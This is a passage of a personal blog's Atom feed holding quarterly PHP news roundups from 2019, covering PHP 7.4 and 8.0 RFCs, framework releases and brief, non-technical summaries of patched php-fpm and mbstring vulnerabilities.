&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s a link to &lt;a href=&quot;https://wiki.php.net/rfc/class_name_literal_on_object&quot;&gt;the RFC&lt;/a&gt;
if you’re interested.&lt;/p&gt;

&lt;h4 id=&quot;stringable-interface&quot;&gt;Stringable interface&lt;/h4&gt;

&lt;p&gt;Any object that implements &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__toString()&lt;/code&gt; in an 8.0 world
will implicitly impliment the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stringable&lt;/code&gt; interface:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Stringable&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This allows you to use the union type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string|Stringable&lt;/code&gt;
when it becomes available in 8.0. The goal is that 
eventually everyone will explicitly implement the interface
but for BC reasons, it will be automatically added during 
compile time.&lt;/p&gt;

&lt;p&gt;Take a peek at &lt;a href=&quot;https://wiki.php.net/rfc/stringable&quot;&gt;the RFC&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;frameworks&quot;&gt;Frameworks&lt;/h2&gt;

&lt;h3 id=&quot;symfony&quot;&gt;Symfony&lt;/h3&gt;

&lt;p&gt;Symfony claimed a big achievement last year. It has the 
&lt;a href=&quot;https://symfony.com/blog/symfony-was-the-backend-framework-with-the-most-contributors-in-2019&quot;&gt;most contributors out of any backend framework&lt;/a&gt;.
Not in just PHP frameworks, but any backend framework, 
in any language.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/backend-framework-contributors-2019.png&quot; alt=&quot;Backend framework contributors 2019&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;laravel&quot;&gt;Laravel&lt;/h3&gt;

&lt;p&gt;Laravel &lt;a href=&quot;https://laravel-news.com/laravel-6-5&quot;&gt;released version 6.5&lt;/a&gt; with some new features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Added LazyCollection::remember()&lt;/li&gt;
  &lt;li&gt;New string helpers&lt;/li&gt;
  &lt;li&gt;Improvements to the QueryBuilder&lt;/li&gt;
  &lt;li&gt;Added unless condition to Blade custom if directives&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;phalcon&quot;&gt;Phalcon&lt;/h3&gt;

&lt;p&gt;Phalcon &lt;a href=&quot;https://blog.phalcon.io/post/phalcon-4-0-0-released&quot;&gt;released version 4.0.0&lt;/a&gt;
in December, with an impressive list of highlights:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PHP 7.2 minimum version&lt;/li&gt;
  &lt;li&gt;PHP 7.4 support&lt;/li&gt;
  &lt;li&gt;Removed unsupported code&lt;/li&gt;
  &lt;li&gt;PSR 7, 11, 13, 16, 17&lt;/li&gt;
  &lt;li&gt;Rewrote all documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;cakephp&quot;&gt;CakePHP&lt;/h3&gt;

&lt;p&gt;December also brought &lt;a href=&quot;https://bakery.cakephp.org/2019/12/15/cakephp_400_released.html&quot;&gt;CakePHP 4.0.0&lt;/a&gt;
with a matching list of impressive highlights:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PHP 7.2 minimum version&lt;/li&gt;
  &lt;li&gt;Streamlined APIs by removing deprecated methods&lt;/li&gt;
  &lt;li&gt;More typing/type hints&lt;/li&gt;
  &lt;li&gt;Improved error messages&lt;/li&gt;
  &lt;li&gt;A refreshed application skeleton&lt;/li&gt;
  &lt;li&gt;New database types&lt;/li&gt;
  &lt;li&gt;Middleware for CSP headers&lt;/li&gt;
  &lt;li&gt;Improvements to the FormHelper&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;wordpress&quot;&gt;WordPress&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://wordpress.org/news/2019/11/kirk/&quot;&gt;Version 5.3 of WordPress&lt;/a&gt; is now live:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PHP 7.4 support&lt;/li&gt;
  &lt;li&gt;Date/Time component fixes&lt;/li&gt;
  &lt;li&gt;Improved block editor&lt;/li&gt;
  &lt;li&gt;Automatic image rotation&lt;/li&gt;
  &lt;li&gt;Improved site health checks&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tools&quot;&gt;Tools&lt;/h2&gt;

&lt;h3 id=&quot;codeception&quot;&gt;Codeception&lt;/h3&gt;

&lt;p&gt;December was the month of 4.0, with Codeception also 
&lt;a href=&quot;https://codeception.com/12-18-2019/codeception-4&quot;&gt;releasing version 4.0&lt;/a&gt; 
which splits the core into modules allowing each 
module to upgrade individually and adds support for Symfony 5.&lt;/p&gt;

&lt;h3 id=&quot;phpunit&quot;&gt;PHPUnit&lt;/h3&gt;

&lt;p&gt;PHPUnit 9 was &lt;a href=&quot;https://phpunit.de/announcements/phpunit-9.html&quot;&gt;released in Februrary&lt;/a&gt;
which cleaned up a lot of old code. It only only supports PHP 7.3+, 
uses more strict types and removed a lot of old functions/options that
have newer alternatives.&lt;/p&gt;

&lt;h3 id=&quot;xdebug&quot;&gt;Xdebug&lt;/h3&gt;

&lt;p&gt;While it might not be 4.0, Xdebug did 
&lt;a href=&quot;https://xdebug.org/announcements/2019-12-09&quot;&gt;release version 2.9&lt;/a&gt;
in December. The main part of this release was to
dramatically &lt;em&gt;speed up code coverage by 250%&lt;/em&gt;!. 
That’s incredible.&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. Recently, we’ve had a lot of progress on PHP 8.0 and lots of frameworks released new versions.</summary></entry><entry><title type="html">What’s new in PHP land? - Q4 2019</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q4-2019" rel="alternate" type="text/html" title="What’s new in PHP land? - Q4 2019" /><published>2019-11-06T00:00:00+10:00</published><updated>2019-11-06T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q4-2019</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q4-2019">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
Recently, we’ve had some security vulnerabilities, a few cool projects
in the community and more features accepted into PHP 8.0.&lt;/p&gt;

&lt;h2 id=&quot;php&quot;&gt;PHP&lt;/h2&gt;

&lt;h3 id=&quot;php-74&quot;&gt;PHP 7.4&lt;/h3&gt;

&lt;p&gt;There are no new features going into PHP 7.4, and for very good reason. It’s 
going to be &lt;a href=&quot;https://wiki.php.net/todo/php74&quot;&gt;released at the end of this month&lt;/a&gt;!&lt;/p&gt;

&lt;div data-type=&quot;countdown&quot; data-id=&quot;1557233&quot; class=&quot;tickcounter&quot; style=&quot;width: 100%; position: relative; padding-bottom: 25%&quot;&gt;&lt;a href=&quot;//www.tickcounter.com/countdown/1557233/php-74-release&quot; title=&quot;PHP 7.4 Release&quot;&gt;PHP 7.4 Release&lt;/a&gt;&lt;a href=&quot;//www.tickcounter.com/&quot; title=&quot;Countdown&quot;&gt;Countdown&lt;/a&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) { var js, pjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = &quot;//www.tickcounter.com/static/js/loader.js&quot;; pjs.parentNode.insertBefore(js, pjs); }(document, &quot;script&quot;, &quot;tickcounter-sdk&quot;));&lt;/script&gt;

&lt;p&gt;I can’t wait for the new version, my favourite new features are:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Typed properties&lt;/li&gt;
  &lt;li&gt;Preloading&lt;/li&gt;
  &lt;li&gt;Arrow functions&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;See my previous posts for more info on these and other new features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;/brisphp/whats-new-in-php-q1-2019&quot;&gt;Q1 2019&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/brisphp/whats-new-in-php-q2-2019&quot;&gt;Q2 2019&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/brisphp/whats-new-in-php-q3-2019&quot;&gt;Q3 2019&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;php-80&quot;&gt;PHP 8.0&lt;/h3&gt;

&lt;p&gt;There have been two new features accepted in PHP 8.0 this quarter.&lt;/p&gt;

&lt;h4 id=&quot;union-types&quot;&gt;Union types&lt;/h4&gt;

&lt;p&gt;The &lt;a href=&quot;https://wiki.php.net/rfc/union_types_v2&quot;&gt;Union Types 2.0&lt;/a&gt; RFC brings 
forward the idea of union types, or typing a variable to be one of two or more
different types. You can use union types everywhere that existing types are 
currently accepted.&lt;/p&gt;

&lt;p&gt;DISCLAIMER: At the time of writing this one still had a few days left of voting.
However, an overwhelming majority of votes are in favour so I’ll risk it for 
the biscuit and call it.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Number&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;number&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We already have a union type in order to allow for nullables. So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?int&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int|null&lt;/code&gt;
will be equivalent. But you will not be able to use the question mark when there are
multiple possible types. For example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?int|float&lt;/code&gt; is invalid.&lt;/p&gt;

&lt;p&gt;Additionally, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt; psuedo type is being added to account for the many 
places in the core that a function returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt; on error. For example 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strpos()&lt;/code&gt; can be typed as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int|false&lt;/code&gt;. Note that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt; cannot be typed on
it’s own, it must be part of a union type.&lt;/p&gt;

&lt;h4 id=&quot;reclassifying-engine-warnings&quot;&gt;Reclassifying engine warnings&lt;/h4&gt;

&lt;p&gt;Nikita Popov suggested we should increase the error level for some internal 
warnings and notices because they represent bad programming errors. There were
23 changes proposed, of which 3 were voted on separately because they were 
controversial, while the remaining 20 were voted on as one. See 
&lt;a href=&quot;https://wiki.php.net/rfc/engine_warnings&quot;&gt;the RFC&lt;/a&gt; for the full list of 
reclassifications, I’ll list the controversion ones here:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Undefined variables
    &lt;ul&gt;
      &lt;li&gt;Being promoted from a Notice to a Warning&lt;/li&gt;
      &lt;li&gt;Attempt was made to get it as an Error exception, but it did not have 
enough votes&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Undefined array index
    &lt;ul&gt;
      &lt;li&gt;Being promoted from a Notice to a Warning&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Division by zero
    &lt;ul&gt;
      &lt;li&gt;Being promoted from a Warning to a DivisionByZeroError exception&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There were 20 non-controversial changes proposed:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Promoting 8 Warnings to Error exceptions&lt;/li&gt;
  &lt;li&gt;Promoting 7 Notices to Warnings&lt;/li&gt;
  &lt;li&gt;Promoting 5 Warnings to TypeError exceptions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;p&quot;&gt;P++&lt;/h3&gt;

&lt;p&gt;The idea was &lt;a href=&quot;https://externals.io/message/106453&quot;&gt;floated in the internal mailing list&lt;/a&gt;
about creating a second “dialect” of PHP with some suggesting the name “P++”. 
The idea was to have the same PHP engine running both the normal version of PHP 
and a strict type-safe version. It was raised because there has been a lot of 
internal discussion about whether or not PHP should become more strict moving 
forward, for which there are almost equal amounts of people for and against.&lt;/p&gt;

&lt;p&gt;In the end, the idea was withdrawn after considerable discussion both internally
and from many randoms on the internet. With the outcome being that PHP would 
slowly introduce more strict features by making them optional.&lt;/p&gt;

&lt;h3 id=&quot;security-vulnerabilities&quot;&gt;Security vulnerabilities&lt;/h3&gt;

&lt;h4 id=&quot;rce-through-open-php-fpm-ports&quot;&gt;RCE through open php-fpm ports&lt;/h4&gt;

&lt;p&gt;If you have php-fpm configured to listen on a TCP port, and that port is exposed
to the world, at attacker can trick php-fpm in executing an arbitrary php file 
on the system. As such, you should follow best practices and hide php-fpm behind
a webserver such as nginx. See the &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2019/07/27/1&quot;&gt;bug report here&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;buffer-overflow&quot;&gt;Buffer overflow&lt;/h4&gt;

&lt;p&gt;PHP 7.3.10 fixed a heap buffer overflow vulnerability in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mb_eregi()&lt;/code&gt; 
function which could grant an attacker arbitrary code execution. 
A &lt;a href=&quot;https://www.scmagazine.com/home/security-news/vulnerabilities/php-update-fixes-arbitrary-code-execution-flaw-9-other-bugs/&quot;&gt;post by SC Magazine&lt;/a&gt;
has more details.&lt;/p&gt;

&lt;h4 id=&quot;rce-through-path_ino-in-php-fpm&quot;&gt;RCE through PATH_INO in php-fpm&lt;/h4&gt;

&lt;p&gt;With a mis-configured php-fpm, it was possible to use a newline character (url encoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0a&lt;/code&gt;)
to break the PATH_INFO variable that nginx passes to php-fpm by unsetting it. This caused 
php-fpm to read a different php file and if crafted properly could allow remote code execution.&lt;/p&gt;

&lt;p&gt;The “mis-configuration” of php-fpm is actually a fairly widely used configuration, documented in
many places like StackOverflow and even the nginx docs. To fix the issue you can upgrade to the
latest version of PHP or add some sanitisation to your nginx configuration.&lt;/p&gt;

&lt;p&gt;See &lt;a href=&quot;https://bugs.php.net/bug.php?id=78599&quot;&gt;the bug report&lt;/a&gt; for more info.&lt;/p&gt;

&lt;h3 id=&quot;frameworks&quot;&gt;Frameworks&lt;/h3&gt;

&lt;h4 id=&quot;wordpress&quot;&gt;Wordpress&lt;/h4&gt;

&lt;p&gt;Wordpress is talking about &lt;a href=&quot;https://make.wordpress.org/core/2019/08/16/ssl-for-auto-updates/&quot;&gt;strictly enforcing SSL for auto 
updates&lt;/a&gt;.
From what I can gather, getting either core WordPress updates or plugin/theme 
updates doesn’t necessarily happen over SSL at the moment, so they want to 
enforce it and also add checksum validation to enforce packgage integrity.
While I think this should already have been a thing, I’m glad to see
WordPress pushing forward on security.&lt;/p&gt;

&lt;h4 id=&quot;slim-40&quot;&gt;Slim 4.0&lt;/h4&gt;

&lt;p&gt;Slim 4.0 &lt;a href=&quot;https://www.slimframework.com/2019/08/01/slim-4.0.0-release.html&quot;&gt;was released in August&lt;/a&gt;
and it has a bunch of changes to push the framework forward:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Decoupling a lot of dependencies so you’re not forced to install them
    &lt;ul&gt;
      &lt;li&gt;Dependency injection&lt;/li&gt;
      &lt;li&gt;Router&lt;/li&gt;
      &lt;li&gt;Error handling&lt;/li&gt;
      &lt;li&gt;PSR-7&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Only supports PHP 7.1+&lt;/li&gt;
  &lt;li&gt;Removed a few “automagic” abilities to make the framework easier to understand&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;symfony-50&quot;&gt;Symfony 5.0&lt;/h4&gt;

&lt;p&gt;Symofony 5.0 is &lt;a href=&quot;https://symfony.com/releases&quot;&gt;due to be released this month&lt;/a&gt;
along with 4.4. The 4.4 version will contain all the features for 5.0 with 
backward compatibility and a bunch of deprecations. This gives you an easy 
upgrade path because once you remove deprecations, your app will function
perfectly on 5.0.&lt;/p&gt;

&lt;p&gt;There aren’t as many groundbreaking features in 5.0 as there was in 4.0,
but there’s a nice &lt;a href=&quot;https://symfony.com/blog/category/living-on-the-edge/5.0-4.4&quot;&gt;list of them here&lt;/a&gt;.
My favourites are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://symfony.com/blog/new-in-symfony-4-4-encrypted-secrets-management&quot;&gt;Encrypted secrets management&lt;/a&gt;
which allows you to store secrets in the git repo (eg. database passwords).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://symfony.com/blog/new-in-symfony-4-4-password-migrations&quot;&gt;Automatic password migrations&lt;/a&gt;
to automatically rehash users passwords with the latest algorithm.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://symfony.com/blog/new-in-symfony-4-4-phpunit-assertions-for-email-messages&quot;&gt;Testing email content&lt;/a&gt;
allows to assert email bodies contain specific content.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;community&quot;&gt;Community&lt;/h3&gt;

&lt;h4 id=&quot;client-side-php&quot;&gt;Client side PHP&lt;/h4&gt;

&lt;p&gt;Atymic has found a way to &lt;a href=&quot;https://atymic.dev/blog/client-side-php/&quot;&gt;run PHP in the browser&lt;/a&gt;.
This may seem a little insane, and it is. Because you need to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Download PHP source&lt;/li&gt;
  &lt;li&gt;Build your app into a .phar&lt;/li&gt;
  &lt;li&gt;Complile your .phar and PHP source using web assembly&lt;/li&gt;
  &lt;li&gt;Make your users load this and run it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While this terrifies me, it also excites me that we’re still pushing the 
boundaries of PHP can (or even should) do.&lt;/p&gt;

&lt;h4 id=&quot;dependency-graph-support-on-github&quot;&gt;Dependency graph support on GitHub&lt;/h4&gt;

&lt;p&gt;GitHub can now &lt;a href=&quot;https://github.blog/2019-09-18-dependency-graph-supports-php-repos-with-composer-dependencies/&quot;&gt;hook into your 
composer.json&lt;/a&gt;
to give you automatic security notifications/updates as well as insights into
your dependency tree.&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. Recently, we’ve had some security vulnerabilities, a few cool projects in the community and more features accepted into PHP 8.0.</summary></entry><entry><title type="html">What’s new in PHP land? - Q3 2019</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q3-2019" rel="alternate" type="text/html" title="What’s new in PHP land? - Q3 2019" /><published>2019-07-28T00:00:00+10:00</published><updated>2019-07-28T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q3-2019</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q3-2019">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
Recently, PHP 7.4 features have been finalised and development of PHP 8.0 continues.&lt;/p&gt;

&lt;h2 id=&quot;php&quot;&gt;PHP&lt;/h2&gt;

&lt;h3 id=&quot;process-changes&quot;&gt;Process changes&lt;/h3&gt;

&lt;p&gt;There have been a couple of RFC’s passed recently which change the way any future RFCs are voted
on.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.php.net/rfc/abolish-narrow-margins&quot;&gt;Abolish narrow margins&lt;/a&gt; changes benchmark for
acceptance of all future RFS to a 2/3 majority. They did this because previously some RFCs could
pass with a 50%+1 majority while others required 2/3 and the rules that goverened this were
“misleading and confusing”.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.php.net/rfc/abolish-short-votes&quot;&gt;Abolish short votes&lt;/a&gt; increases the minimum voting
period for future RFCs from 1 week to 2 weeks because there is no reason to squeeze votes into a
single week and they don’t want big features passed with only a week of voting.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;php-74&quot;&gt;PHP 7.4&lt;/h3&gt;

&lt;p&gt;PHP 7.4 is now in feature freeze with Beta 3 being released last week. Now it will go through a
handful of release candidates before it’s final release date of 
&lt;a href=&quot;https://wiki.php.net/todo/php74&quot;&gt;November 28&lt;/a&gt;! There is actually quite a lot 
&lt;a href=&quot;https://wiki.php.net/rfc#php_74&quot;&gt;being released PHP 7.4&lt;/a&gt;, I’ve covered some of them my
&lt;a href=&quot;/brisphp/whats-new-in-php-q1-2019&quot;&gt;Q1&lt;/a&gt; and 
&lt;a href=&quot;/brisphp/whats-new-in-php-q2-2019&quot;&gt;Q2&lt;/a&gt; posts so I’ll just cover the new ones 
here. Take a look at this very good overview on
&lt;a href=&quot;https://stitcher.io/blog/new-in-php-74&quot;&gt;stitcher.io&lt;/a&gt; for more details.&lt;/p&gt;

&lt;h4 id=&quot;numeric-literal-separator&quot;&gt;Numeric literal separator&lt;/h4&gt;

&lt;p&gt;You can add an underscore (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;) anywhere you like in a numeric literal to help increase readability.
It applies to all supported numeric literal notations, see 
&lt;a href=&quot;https://wiki.php.net/rfc/numeric_literal_separator&quot;&gt;the RFC&lt;/a&gt; for more info.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$threshold&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1_000_000_000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// a billion!&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$testValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;107_925_284.88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// scale is hundreds of millions&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$discount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;135_00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;// $135, stored as cents&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;throwing-exceptions-in-__tostring&quot;&gt;Throwing exceptions in __toString()&lt;/h4&gt;

&lt;p&gt;I didn’t know this but apparently you can’t throw exception in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__toString()&lt;/code&gt;. Until now. 
&lt;a href=&quot;https://wiki.php.net/rfc/tostring_exceptions&quot;&gt;This RFC&lt;/a&gt; points out that exceptions aren’t allowed
in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__toString()&lt;/code&gt; because string conversions are performed in many places that aren’t equipped to
handle exceptions. However recoverable errors can still be thrown when converting un-convertable
variables so there’s really no reason to prevent exceptions as well.&lt;/p&gt;

&lt;h4 id=&quot;properly-calculating-time-differences-across-daylight-saving-time-transitions&quot;&gt;Properly calculating time differences across Daylight Saving Time transitions&lt;/h4&gt;

&lt;p&gt;Something else I recently learnt is that depending on how you create a DateTime, PHP might not be
able to correctly calculate additions and subtractions across Daylight Saving Time transitions. And
even if you do use the “correct” way, the result is still sometimes wrong because the edge case was
not sufficiently unit tested. However, moving forward - if you create your dates the “correct” way,
then all calculations will be correct.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// PHP only knows the offset, not the timezone &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// so it has no idea if or when to apply Daylight Savings Time&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'2011-09-13 14:15:16 -0400'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Internally PHP stores dates created using the timezone abbreviation the same as $type1 above&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ie. it only knows the offset&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'2011-09-13 14:15:16 EDT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// This is the only way to create a DateTime such that PHP is able to make correct calculations &lt;/span&gt;
